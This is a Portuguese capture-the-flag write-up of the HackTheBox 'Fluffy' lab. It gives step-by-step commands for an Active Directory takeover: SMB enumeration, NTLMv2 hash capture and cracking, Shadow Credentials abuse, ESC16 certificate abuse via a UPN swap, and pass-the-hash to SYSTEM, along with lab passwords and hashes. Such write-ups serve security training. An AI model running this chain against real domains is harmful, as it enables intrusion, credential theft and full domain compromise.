&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;#activedirectory&lt;/code&gt; &lt;code&gt;#windows&lt;/code&gt; &lt;code&gt;#adcs&lt;/code&gt; &lt;code&gt;#bloodhound&lt;/code&gt; &lt;code&gt;#pywhisker&lt;/code&gt; &lt;code&gt;#certipy&lt;/code&gt; &lt;code&gt;#shadowcredentials&lt;/code&gt; &lt;code&gt;#esc16&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;👤 Credenciais Iniciais&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usuário:&lt;/strong&gt; &lt;code&gt;j.fleischman&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Senha:&lt;/strong&gt; &lt;code&gt;J0elTHEM4n1990!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;🛠️ Ferramentas Utilizadas&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;li&gt;smbclient&lt;/li&gt;
&lt;li&gt;bloodhound&lt;/li&gt;
&lt;li&gt;pywhisker&lt;/li&gt;
&lt;li&gt;evil-winrm&lt;/li&gt;
&lt;li&gt;impacket&lt;/li&gt;
&lt;li&gt;hashcat&lt;/li&gt;
&lt;li&gt;ntpdate&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;⚠️ Erro: Clock skew too great&lt;/h2&gt;
&lt;p&gt;Um problema comum em ambientes AD é a dessincronização de horário entre a máquina atacante e o alvo. Isso pode ser corrigido com o comando:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ntpdate 10.10.11.69
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;🔎 Enumeração Inicial&lt;/h2&gt;
&lt;h3&gt;Scan com Nmap&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -T4 -p- -v -A -P0 10.10.11.69 -oX fluffy_tcp.scan --webxml
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Domínio:&lt;/strong&gt; &lt;code&gt;FLUFFY.HTB&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain Controller (DC):&lt;/strong&gt; &lt;code&gt;DC01.FLUFFY.HTB&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;📁 Enumeração SMB&lt;/h2&gt;
&lt;p&gt;Com as credenciais iniciais, listamos os compartilhamentos disponíveis no servidor.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient -L //10.10.11.69 -U j.fleischman --password=&apos;J0elTHEM4n1990!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Shares encontrados:&lt;/strong&gt;
&lt;code&gt;ADMIN$&lt;/code&gt;, &lt;code&gt;C$&lt;/code&gt;, &lt;code&gt;IPC$&lt;/code&gt;, &lt;code&gt;IT&lt;/code&gt;, &lt;code&gt;NETLOGON&lt;/code&gt;, &lt;code&gt;SYSVOL&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;O share &lt;code&gt;IT&lt;/code&gt; parece promissor. Vamos acessá-lo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient //10.10.11.69/IT -U j.fleischman --password=&apos;J0elTHEM4n1990!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Arquivos encontrados no share:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Everything-1.4.1.1026.x64/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Everything-1.4.1.1026.x64.zip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KeePass-2.58/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KeePass-2.58.zip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Upgrade_Notice.pdf&lt;/code&gt; ← &lt;strong&gt;Arquivo chave!&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;📝 Análise do PDF e Captura de Hash&lt;/h2&gt;
&lt;p&gt;O arquivo &lt;code&gt;Upgrade_Notice.pdf&lt;/code&gt; menciona várias CVEs, com destaque para a &lt;strong&gt;CVE-2025-24071&lt;/strong&gt;. Esta vulnerabilidade permite a captura de hashes NTLMv2 ao forçar uma autenticação contra um listener SMB malicioso.&lt;/p&gt;
&lt;p&gt;Após explorar a falha, o hash do usuário &lt;strong&gt;p.agila&lt;/strong&gt; foi capturado.&lt;/p&gt;
&lt;h2&gt;🔐 Cracking NTLMv2 com Hashcat&lt;/h2&gt;
&lt;p&gt;O hash capturado foi quebrado com sucesso, revelando a seguinte credencial:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usuário:&lt;/strong&gt; &lt;code&gt;p.agila&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Senha:&lt;/strong&gt; &lt;code&gt;prometheusx-303&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;🧠 Análise com BloodHound&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-python -d FLUFFY.HTB -u j.fleischman -p &quot;J0elTHEM4n1990!&quot; -gc dc01.fluffy.htb -c all -ns 10.10.11.69
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A análise do BloodHound revelou um caminho de privilégio interessante:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;p.agila&lt;/code&gt; ∈ &lt;code&gt;SERVICE ACCOUNT MANAGERS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SERVICE ACCOUNT MANAGERS&lt;/code&gt; → &lt;code&gt;GenericAll&lt;/code&gt; → &lt;code&gt;SERVICE ACCOUNTS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SERVICE ACCOUNTS&lt;/code&gt; → &lt;code&gt;GenericWrite&lt;/code&gt; → &lt;code&gt;ca_svc&lt;/code&gt;, &lt;code&gt;ldap_svc&lt;/code&gt;, &lt;code&gt;winrm_svc&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Isso significa que &lt;code&gt;p.agila&lt;/code&gt; pode se adicionar ao grupo &quot;SERVICE ACCOUNTS&quot; e então modificar as contas de serviço.&lt;/p&gt;
&lt;h3&gt;Adicionando p.agila ao Grupo&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;net rpc group addmem &quot;SERVICE ACCOUNTS&quot; &quot;p.agila&quot; -U &quot;FLUFFY.HTB/p.agila&quot;%&quot;prometheusx-303&quot; -S &quot;DC01.FLUFFY.HTB&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;🧙 Abuso de Shadow Credentials (pywhisker)&lt;/h2&gt;
&lt;p&gt;Com as novas permissões, podemos usar &lt;code&gt;pywhisker&lt;/code&gt; para adicionar credenciais alternativas (Shadow Credentials) à conta de serviço &lt;code&gt;winrm_svc&lt;/code&gt; e nos autenticar como ela.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pywhisker.py -d &quot;fluffy.htb&quot; -u &quot;p.agila&quot; -p &quot;prometheusx-303&quot; --target &quot;winrm_svc&quot; --action &quot;add&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;gettgtpkinit -cert-pem oBwGyENT_cert.pem -key-pem oBwGyENT_priv.pem fluffy.htb/winrm_svc winrm_svc.ccache
export KRB5CCNAME=winrm_svc.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;📡 Acesso Inicial com Evil-WinRM&lt;/h2&gt;
&lt;p&gt;Agora, com um TGT para &lt;code&gt;winrm_svc&lt;/code&gt;, podemos obter seu hash NT e usar Evil-WinRM para ganhar um shell.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;getnthash -key &amp;lt;key&amp;gt; fluffy.htb/winrm_svc
evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;USER FLAG PWNED 🎉&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;🔐 Escalada de Privilégio (ESC16 via Certipy)&lt;/h2&gt;
&lt;p&gt;:::warning
É crucial usar uma versão atualizada do Certipy, clonada diretamente do GitHub, para que a vulnerabilidade ESC16 funcione corretamente.
:::&lt;/p&gt;
&lt;p&gt;A mesma permissão de &lt;code&gt;GenericWrite&lt;/code&gt; sobre contas de serviço se aplica a &lt;code&gt;ca_svc&lt;/code&gt;. Vamos explorar isso para escalar privilégios para Administrador.&lt;/p&gt;
&lt;h3&gt;1. Obter Hash NT de ca_svc&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;certipy shadow -u &apos;p.agila@fluffy.htb&apos; -p &apos;prometheusx-303&apos; -dc-ip &apos;10.10.11.69&apos; -account &apos;ca_svc&apos; auto
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hash NT obtido: &lt;code&gt;ca0f4f9e9eb8a092addf53bb03fc98c8&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;2. Verificar Vulnerabilidade ESC16&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -vulnerable -u ca_svc@fluffy.htb -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -stdout
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Alterar UPN de &apos;ca_svc&apos; para &apos;Administrator&apos;&lt;/h3&gt;
&lt;p&gt;Alteramos o User Principal Name (UPN) da conta de serviço para o do Administrador para podermos requisitar um certificado em seu nome.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy account -u &apos;p.agila@fluffy.htb&apos; -p &apos;prometheusx-303&apos; -dc-ip &apos;10.10.11.69&apos; -upn &apos;administrator&apos; -user &apos;ca_svc&apos; update
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Requisitar Certificado como Administrator&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;certipy req -k -dc-ip &apos;10.10.11.69&apos; -target &apos;DC01.FLUFFY.HTB&apos; -ca &apos;fluffy-DC01-CA&apos; -template &apos;User&apos; -upn &apos;administrator@fluffy.htb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Reverter UPN (Boa prática)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;certipy account -u &apos;p.agila@fluffy.htb&apos; -p &apos;prometheusx-303&apos; -dc-ip &apos;10.10.11.69&apos; -upn &apos;ca_svc@fluffy.htb&apos; -user &apos;ca_svc&apos; update
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6. Autenticar com o Certificado e Obter Hash de Admin&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;certipy auth -dc-ip &apos;10.10.11.69&apos; -pfx &apos;administrator.pfx&apos; -username &apos;administrator&apos; -domain &apos;fluffy.htb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hash NT do Administrador: &lt;code&gt;8da83a3fa618b6e3a00e93f676c92a6e&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;💣 Execução Final: Pass-the-Hash&lt;/h2&gt;
&lt;p&gt;Com o hash NT do Administrador, usamos &lt;code&gt;psexec.py&lt;/code&gt; do Impacket para obter um shell como SYSTEM.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e Administrator@10.10.11.69
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;SYSTEM FLAG PWNED 👑&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item></channel></rss>